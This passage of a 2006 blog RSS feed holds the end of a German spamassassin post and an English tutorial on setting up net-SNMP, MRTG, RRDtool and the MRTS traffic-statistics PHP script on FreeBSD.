Der Unterordner cur ist der Ordner, wo dovecot die (gelesenen) Mails speichert. Mit dem Trigger --ham kann man spamassassin natürlich auch auf gewollte Mails trainieren. Mehr dazu über <em>man sa-learn</em>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bjou.de/blog/2006/06/getmail-dovecot-postfix-spamassassin-und-procmail/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>MRTS &#8211; MRTG RRDtool Total Statistics</title>
		<link>http://www.bjou.de/blog/2006/03/mrts-mrtg-rrdtool-total-statistics/</link>
		<comments>http://www.bjou.de/blog/2006/03/mrts-mrtg-rrdtool-total-statistics/#comments</comments>
		<pubDate>Wed, 15 Mar 2006 23:55:19 +0000</pubDate>
		<dc:creator>bjou</dc:creator>
				<category><![CDATA[Geek Talk]]></category>
		<category><![CDATA[IT-Security]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.bjou.de/blog/2006/03/mrts-mrtg-rrdtool-total-statistics/</guid>
		<description><![CDATA[This little guide is not supposed to be an introduction to SNMP, RRDtool or MRTG though I will give a very tiny look into these programs. The true intension of this tutorial is a properly configured MRTS that, of course, goes along with a correct installation of MRTG, RRDtool and SNMP. So most of the [...]]]></description>
			<content:encoded><![CDATA[<p>This little guide is not supposed to be an introduction to SNMP, RRDtool or MRTG though I will give a very tiny look into these programs. The true intension of this tutorial is a properly configured MRTS that, of course, goes along with a correct installation of MRTG, RRDtool and SNMP. So most of the time we will have to configure these three programs. Moreover this tutorial is based on a FreeBSD system, i am running 6-STABLE. I presume that you have Apache installed and configured properly for the use with PHP. If not, do so! I won&#8217;t explain that here. The following chapter will give a short overview over the programs we need for setting up MRTS. The programm summaries are the ones that can be found on the corresponding official websites along with other detailed information on that specific program. So let’s get started.<span id="more-145"></span></p>
<div align="center">
<!--adsense-->
</div>
<li>
<h3><b><u>Overview</u></b></h3>
</li>
<ul>
<li><strong><u>So what is MRTS anyway?</u></strong></li>
<li><strong>Website</strong>: <a href="http://apt-get.dk/mrts">http://apt-get.dk/mrts</a></li>
<li><strong>Description</strong>: MRTS is short for “MRTG RRDtool Total Statistics”. It is a PHP script written by Thor Dreier that uses &#8220;MRTG and RRDtool to sum up total traffic monthly and yearly&#8221;. But why making words, if you can see the full power of MRTS in some examples: <a href="http://mrts.domainnet.dk">http://mrts.domainnet.dk</a> Just click on any device and MRTS will show you the traffic-graphs and some statistics on how much traffic you have made during the actual/last months/year.</li>
</ul>
<p>OK, now we know what MRTS does, but…</p>
<ul>
<li><strong><u>What is MRTG?</u></strong></li>
<li><strong>Website</strong>: <a href="http://oss.oetiker.ch/mrtg/">http://oss.oetiker.ch/mrtg/</a></li>
<li><strong>Description</strong>: &#8220;The Multi Router Traffic Grapher (MRTG) is a tool to monitor the traffic load on network-links. MRTG generates HTML pages containing graphical images which provide a LIVE visual representation of this traffic. [...] MRTG is based on Perl and C and works under UNIX and Windows NT.&#8221; Again, we want to see some results on that, to see its power. So just take a look at <a href="http://www.stat.ee.ethz.ch/mrtg">http://www.stat.ee.ethz.ch/mrtg</a> and pick a device. I think you’ll be satisfied. MRTG goes along alone very well, so if the examples, you have just seen, is everything you want, just install MRTG and you are free to go. (Note: You must NOT use the mrtg.cfg we will configure below. Just skip the Logformat: rrdtool command for MRTG standalone setup). I, for my part, was not fully satisfied with MRTG, because I wanted my router/server to show me detailed traffic summaries over the last months/year. And that’s where MRTS comes into play, because MRTS sums up this traffic using MRTG and RRDtool.</li>
</ul>
<ul>
<li><strong><u>What is RRDtool?</u></strong></li>
<li><strong>Website</strong>: <a href="http://oss.oetiker.ch/rrdtool/">http://oss.oetiker.ch/rrdtool/</a></li>
<li><strong>Description</strong>: &#8220;If you know MRTG, you can think of RRDtool as a reimplementation of MRTGs graphing and logging features. Magnitudes faster and more flexible than you ever thought possible. RRD is the Acronym for Round Robin Database. RRD is a system to store and display time-series data (i.e. network bandwidth, machine-room temperature, server load average). It stores the data in a very compact way that will not expand over time, and it presents useful graphs by processing the data to enforce a certain data density. It can be used either via simple wrapper scripts (from shell or Perl) or via frontends that poll network devices and put a friendly user interface on it.&#8221; RRDtool allows you to almost log everything and convert it into nice impressive graphs. Take a look at <a href="http://oss.oetiker.ch/rrdtool/gallery/index.en.html">http://oss.oetiker.ch/rrdtool/gallery/index.en.html</a> for some examples.</li>
</ul>
<p>As MRTG needs the Simple Network Management Protocol (SNMP) to work properly, we will take a short look on what this does:</p>
<ul>
<li><strong><u>What is SNMP?</u></strong></li>
<li><strong>Website</strong>: <a href="http://net-snmp.sourceforge.net/">http://net-snmp.sourceforge.net/</a></li>
<li><strong>Description</strong>: &#8220;SNMP is an application-layer protocol that facilitates the exchange of management information between network devices. It is part of the Transmission Control Protocol/Internet Protocol (TCP/IP) protocol suite. SNMP enables network administrators to manage network performance, find and solve network problems, and plan for network growth.&#8221; For our plans, we need to install net-SNMP (formerly known as ucd-SNMP) that consists of various tools relating to SNMP.</li>
</ul>
<p>So, enough explanations, let&#8217;s get to work!</p>
<li>
<h3><u><b>Installing and Compiling</b></u></h3>
</li>
<ul>
	First thing to do is to check, which of the above mentioned packages you already have installed. No idea? Well, then you should do a simple<br />
	<code>ls /var/db/pkg</code> or 	<code>pkg_info</code><br />
	which lists the packages, you have installed using the FreeBSD ports. If you don&#8217;t know what the FreeBSD ports are, then you probably won&#8217;t have to read on, as some basics really are required in this tutorial <img src='http://www.bjou.de/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Anyway, i&#8217;m trying to explain step by step. After you have checked your installed packages, install the packages you still need.</p>
<p>	<code><br />
	<strong>Net-SNMP</strong>: /usr/ports/net-mgmt/net-snmp<br />
	<strong>MRTG:</strong>     /usr/ports/net-mgmt/mrtg<br />
	<strong>RRDtool</strong>:  /usr/ports/net/rrdtool<br />
	</code></p>
<p>	Some of these programs depend on various libraries (e.g. zlib, libpng, GD), but that&#8217;s the good thing: The port-install-mechanism will automatically check, if you have them or not and it will install them, if needed. Do a<br />
	<code><br />
	make &#038;&#038; make install &#038;&#038; make clean</code></p>
<p>	in the corresponding port directories to install that specific port.<br />
	Now it could take a while until all ports are compiled.
</ul>
<li>
<h3><u><b>Configuring</b></u></h3>
</li>
<ul>
	Alright, as far as I see, we are done compiling <img src='http://www.bjou.de/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  So let&#8217;s get it on, this is the harder part:</p>
<p></p>
<li><u>Configuration of net-SNMP</u></li>
<p>	Create a snmpd.conf with</p>
<p>	<code>snmpconf -i -g basic_setup</code></p>
<p>	This will start a walktrough asking you some questions about your system. The book &#8220;Absolute BSD&#8221; (&#8220;FreeBSD de Luxe&#8221; in Germany) explains in detail, how to properly set up net-SNMP. I&#8217;m gonna make it short:</p>
<ul>
<li>Type y for configuring &#8220;the information returned in the system MIB group&#8221;</li>
<li>syslocation is a string of the location of your server, e.g. &#8220;my room&#8221;, syscontact is you.</li>
<li>Type y for setting &#8220;the value of the sysServices.0 OID&#8221;</li>
<li>The following questions should be answered with &#8220;1&#8243; (yes) or &#8220;0&#8243; (no). Commonly it is &#8220;0&#8243; for repeater and bridge and &#8220;1&#8243; for IP, TCP, SMTP</li>
<li>Type y for configuring &#8220;the agent&#8217;s access control&#8221;. Then answer the following three questions (read-write user based access, read-only user based access, read-write community access) with n. Answer the next one (read-only community access) with y. You will be asked for a community name. Invent one or take the default: public (NOT RECOMMENDED!) The network to accept this community from should be the loopback (127.0.0.1) or something like 192.168.100.0/24 for example. 0.0.0.0/0 will give anyone access. Don&#8217;t use this! Hit [return] for &#8220;no restriction&#8221; in the next question. Then you are finished, don&#8217;t do another community line. The rest can all be answered with n.</li>
<li>Finally send the SNMPdeamon a Hangup Signal for re-reading the configuration, if SNMP was running while configuring: <code>ps faux | grep snmpd</code> tells you the PID to send <code>kill -HUP theSnmpdPid</code> to.</li>
</ul>
<p>	The snmpd.conf is now stored in /usr/local/share/snmp/. Move it to /usr/local/etc/snmp/snmp.conf (Note: This Setup was very basic and does by far not show the power of net-SNMP. But for our purpose that is all we need right now. You should probably read some literature about it and do a better configuration afterwards. Read <a href="http://net-snmp.sourceforge.net/tutorial/tutorial-5/mrtg/index.html">http://net-snmp.sourceforge.net/tutorial/tutorial-5/mrtg/index.html</a> for more information on how to set up MRTG to monitor disk-space, CPU-load and so on&#8230;)</p>
<p>	OK, next step is to start the services, i.e. snmp and mrtg. You can do this via the start scripts in </p>
<p>	<code>/usr/local/etc/rc.d/</code></p>
<p>	Speaking of start-scripts, make one for MRTG (mrtg.sh) if there is non in the directory, we&#8217;ll need it later. Of course, you only have to do this step, if the installation of MRTG does not have put an autostart script itsself into /usr/local/etc/rc.d/. When I installed it, this was not the case so I had to make my own.</p>
<p>	<code>#!/bin/sh<br />
	/usr/local/bin/mrtg &#45;&#45;logging=/var/log/mrtg.log &#45;&#45;pid-file=/var/run/mrtg.pid /etc/mrtg.cfg</code></p>
<p>	Now start snmpd (e.g. &#8216;/usr/local/etc/rc.d/snmpd.sh start&#8217;). Check if the processess are running!<br />
PS: If you are using one of the lastest FreeBSD Releases (5.x and up) you are advised to start the deamons via /etc/rc.conf at boot-time. Consult some other Information source on how to use the rc-scripts.
</ul>
<div align="center">
<!--adsense#linkblockbreit-->
</div>
<ul>
<li><u>Configuration of MRTG</u></li>
<p>
	OK, snmpd is running, let&#8217;s configure MRTG. The binaries should be localted in /usr/local/bin.  The &#8220;\&#8221; in the following command means, that this should be one line. Type</p>
<p>	<code>cfgmaker &#45;&#45;global 'WorkDir: /usr/home/www/stats' &#45;&#45;global 'Options[_]: growright' \<br />
	&#45;&#45;output /etc/mrtg.cfg community@router.abc.xyz</code></p>
<p>	where <em>WorkDir </em>is the directory, where the images and html pages should be placed (Note: Later on we will have no images and htmlpages in that directory, but one php-script (MRTS) and some *.rrd files containing the RRDtool data). It has to be visible to a webbrowser, of course. You can play with the arguments, this one should be the best for the first time, for detailed documentation check the website or your man-pages. <em>output </em>is the directory, where your config file will be placed. Replace <em>community@router.abc.xyz</em> with your specification, i.e. <em>public@localhost</em>. This should test your devices and have an output like this:</p>
<p>	<code> --base: Get Device Info on public@localhost:<br />
	--base: Vendor Id:<br />
	--base: Populating confcache<br />
	--snpo: confcache public@localhost: Descr rl0 --> 1<br />
	--snpo: confcache public@localhost: Descr lp0 --> 2<br />
	--snpo: confcache public@localhost: Descr ed1 --> 3<br />
	--snpo: confcache public@localhost: Descr lo0 --> 4<br />
	--snpo: confcache public@localhost: Descr tun0 --> 5<br />
	--snpo: confcache public@localhost: Ip 127.0.0.1 --> 4<br />
	--snpo: confcache public@localhost: Ip 192.168.100.100 --> 1<br />
	--snpo: confcache public@localhost: Ip 213.23.58.244 --> 5 [It's a dynamic IP, just for your notice <img src='http://www.bjou.de/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ]<br />
	--snpo: confcache public@localhost: Type 6 --> 1<br />
	--snpo: confcache public@localhost: Type 34 --> 2<br />
	--snpo: confcache public@localhost: Type 6 --> 3 (duplicate)<br />
	--snpo: confcache public@localhost: Type 24 --> 4<br />
	--snpo: confcache public@localhost: Type 23 --> 5<br />
	--base: Get Interface Info<br />
	--base: Walking ifIndex<br />
	--base: Walking ifType<br />
	--base: Walking ifSpeed<br />
	--base: Walking ifAdminStatus<br />
	--base: Walking ifOperStatus<br />
	--base: Writing /etc/mrtg.cfg<br />
	</code><br />
	If it does not do something similar like this, you did something wrong in configuring snmpd or snmpd is not running. So take a look at the output. What do you want to log? I wanted to log my internet-traffic, so i had to take device number 5 (device 4, i.e., is software-loopback, device 1 is internal traffic in your LAN). Open your newly configured /etc/mrtg.cfg and check it out. It needs some reconfiguration for our needs. First lines without a comment should be</p>
<p>	<code> WorkDir: /usr/home/www/stats/<br />
	Options[_]: growright<br />
	Logformat: rrdtool<br />
	RunAsDaemon: Yes<br />
	Interval: 5<br />
	PathAdd: /usr/local/bin/<br />
	IconDir: http://my.url.com/stats/icons/</code></p>
<p>	I really suggest to read <a href="http://people.ee.ethz.ch/~oetiker/webtools/mrtg/reference.html">http://people.ee.ethz.ch/~oetiker/webtools/mrtg/reference.html </a> for more and detailed information, though i am going to explain the commands above.<br />
	You already know the first two lines. The third one is very important. Without it, MRTG would create the images itsself without using RRDtool. But i like RRDtool images better <img src='http://www.bjou.de/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Furthermore you would have to do a cronjob for MRTG AND indexmaker, to create your corresponding html-files as well. With the Logformat command MRTG will save all its data in one file called <em>##device##.rrd</em> where ##device## is i.e. localhost. Thanks to that file, we can use RRDtool to evaluate our graphs. <em>RunAsDaemon </em>is a very nice feature for avoiding a cronjob. After starting MRTG, it is being daemonized and not launched repeatedly (as it would have been with cron). MRTG will be active every 5 minutes. <em>PathAdd </em>is not always needed, but it can&#8217;t harm. It&#8217;s the path to your RRDtool binary and <em>IconDir </em>is the directory the icons are in, that came with the installation of MRTG (look for the icons in /usr/local/share/mrtg/) After these commands your devices are being listet. Comment those out that you do not want to log. I just wanted to log device #5. Should look something like this:</p>
<p>	<code>### Interface 5 >> Descr: 'tun0' | Name: '' | Ip: '213.23.58.171' | Eth: '' ###</p>
<p>	Target[localhost_5]: 5:public@localhost:<br />
	SetEnv[localhost_5]: MRTG_INT_IP="213.23.58.171" MRTG_INT_DESCR="tun0"<br />
	MaxBytes[localhost_5]: 750000<br />
	Title[localhost_5]: Traffic Analysis<br />
	PageTop[localhost_5]: &lt;H1&gt;Internet Traffic Analysis&lt;/H1&gt;<br />
	&lt;TABLE&gt;<br />
	&lt;TR&gt;&lt;TD&gt;System:&lt;/TD&gt;     &lt;TD>FreeBSD 6-STABLE in Bjou's Home in Karlsruhe City&lt;/TD&gt;&lt;/TR&gt;<br />
	&lt;TR&gt;&lt;TD&gt;Max Speed:&lt;/TD&gt;  &lt;TD>Arcor-DSL 6 MBit&lt;/TD>&lt;/TR&gt;<br />
	&lt;/TABLE&gt;<br />
	</code></p>
<p>	You are free to alter some values, I deleted some of them within the &lt;TABLE&gt;&lt;/TABLE&gt; because I didn&#8217;t find them very interesting. It will not affect your MRTS appearance anyway, but your MRTG output, if you want to make a standalone MRTG installation or if you want to use an &#8220;on-the-fly&#8221;-script as <a href="http://www.fi.muni.cz/~kas/mrtg-rrd">mrtg-rrd</a> or <a href="http://my14all.sourceforge.net/">14all.cgi</a>  (which I also advise to take a look at, though you don&#8217;t need it). Maybe don&#8217;t alter anything before really getting started, you will know what you want to alter later, when you see the results (<em>Note again</em>: You won&#8217;t actually see the above strings in your MRTS output!). First line is the most important one: 5:public@localhost: 5 is your interface number mentioned above followed by <em>community@router.abc.xyz</em>. Thor Dreier explains on his MRTS website how to get the value for MaxBytes:</p>
<blockquote><p> &#8220;In &#8220;MaxBytes&#8221; we have set how many bytes the device maximum can transfer:<br />
	(100Mbit * 1000000bit/Mbit / 8byte/bit = 12500000byte).&#8221;<br />
	So as I have a 1.5 MBit bandwidth, we&#8217;ll have to set: (6Mbit * 1000000bit/Mbit / 8byte/bit = 750000 byte)</p></blockquote>
<p>	Be sure to read <a href="http://apt-get.dk/mrts">Thor&#8217;s MRTS site</a> properly for some additional information I did not mention here (especially if your are a Debian User).<br />
	What, you are still here? READ IT NOW! <img src='http://www.bjou.de/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
	OK, looks like we configured the mrtg.cfg well, so let&#8217;s start MRTG using our script above. You are getting error messages? No problem, this is normal the first time(s) you start MRTG. You maybe want to run MRTG under a certain user (running processes under root is not always the wisest decision) <img src='http://www.bjou.de/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  therefore you will need the &#45;&#45;user=mrtg_user &#45;&#45;group=mrtg_group switches in your mrtg.sh startscript. It could be that there are some problems then, if mrtg_user does not have the rights it needs to access/write certain files. Try yourself, I won&#8217;t explain that here.<br />
	Having started MRTG, it should say &#8220;Daemonizing MRTG &#8230;&#8221; as a result. Check your logfile and your processes if it was successful.
</ul>
<ul>
<li><u>Configuration of RRDtool</u></li>
<p>
	RRDtool does not really need any further configuration, so I would say, we are almost done. Anyway, check if RRDtool<br />
	at least works. You can do this by taking a look at <A target="_blank" HREF="http://people.ee.ethz.ch/~oetiker/webtools/rrdtool/tutorial/rrdtutorial.html">http://people.ee.ethz.ch/~oetiker/webtools/rrdtool/tutorial/rrdtutorial.html</A><br />
	and doing this lesson at least until you got the first results and you are sure, RRDtool works.
</ul>
<ul>
<li><u>Configuration of MRTS itsself</u></li>
<p>
	Now comes the best part, the wonderful MRTS. Download from <A target="_blank" HREF="http://apt-get.dk/mrts/download/">http://apt-get.dk/mrts/download/</A></p>
<p>	(same files with different extension) and rename to *.php. Open the file and configure the following:</p>
<p>	<CODE><br />
	/* The directory where the rrd files are located */<br />
	$dir = &#8216;/usr/home/www/stats&#8217;;</p>
<p>	/* List all devices that MRTS should&#8217;n display, */<br />
	$exclude = array(&#8217;secret&#8217;, &#8216;topsecret&#8217;);</p>
<p>	/* RRDtool path &#8211; where is the the executable located */<br />
	$rrdcommand = &#8216;/usr/local/bin/rrdtool&#8217;;<br />
	</CODE><P></p>
<p>	The first path is exactly the MRTG WorkDir, second one explains itsself, last one is the path to your rrdtool executable. (<em>Note:</em><br />
	 <em>rrdtool</em> in the path listed above in not a folder, but the rrdtool binary!)<br />
	Well, that&#8217;s it. If your Apache is properly configured, give it a try. But first check, that you do not run your script in &#8220;safe mode php&#8221;.<br />
	If you server does this as standard, you have to put something like this in your httpd.conf: </p>
<p>	<P></p>
<p>	<CODE><br />
	&lt;Directory &#8220;/path/to/mrts&#8221;&gt;<br />
                 php_admin_value safe_mode 0<br />
	&lt;Directory&gt;<BR><br />
	</CODE></p>
<p>	<P><br />
	Put the MRTS php script in <CODE>/usr/home/www/stats/</CODE> and surf on it. And&#8230;.. whoo-hoo, you are done! <img src='http://www.bjou.de/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
</UL></p>
<div align="center">
<!--adsense#anzeigenblocknurtext-->
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.bjou.de/blog/2006/03/mrts-mrtg-rrdtool-total-statistics/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
